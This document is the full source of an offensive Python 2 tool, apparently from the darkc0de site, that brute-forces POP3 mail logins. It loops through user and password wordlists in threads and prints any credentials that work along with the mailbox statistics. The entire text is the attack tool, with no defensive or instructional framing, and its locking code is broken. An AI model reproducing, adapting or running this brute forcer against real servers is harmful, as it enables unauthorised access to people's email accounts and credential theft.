PoP3 Brute Forcer(Python)

#!usr/bin/python
#Pop3 Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=4:
   print "Usage: ./popbrute.py <server> <userlist> <wordlist>"
   sys.exit(1)

try:
     users = open(sys.argv[2], "r").readlines()
except(IOError):
     print "Error: Check your userlist path\n"
     sys.exit(1)
 
try:
     words = open(sys.argv[3], "r").readlines()
except(IOError):
     print "Error: Check your wordlist path\n"
     sys.exit(1)
   
try:
   pop = poplib.POP3(sys.argv[1])
   welcome = pop.getwelcome()
   pop.quit()
except (poplib.error_proto):
   welcome = "No Response"
   pass

print "\n\t  d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
   for word in wordlist:
      words.append(word)

def getword():
   lock = threading.Lock()
   lock.acquire()
   if len(words) != 0:
      value = random.sample(words,  1)
      words.remove(value[0])
      
   else:
      print "Reloading Wordlist - Changing User\n"
      reloader()
      value = random.sample(words,  1)
      users.remove(users[0])
      
   lock.release()
   return value[0][:-1], users[0][:-1]
      
class Worker(threading.Thread):
   
   def run(self):
      value, user = getword()
      try:
         print "-"*12
         print "User:",user,"Password:",value
         pop = poplib.POP3(sys.argv[1])
         pop.user(user)
         pop.pass_(value)
         print "\t\nLogin successful:",value, user
         print pop.stat()
         pop.quit()
         work.join()
         sys.exit(2)
      except (poplib.error_proto), msg:
         #print "An error occurred:", msg
         pass
 
for i in range(len(words)*len(users)):
   work = Worker()
   work.start()
   time.sleep(1)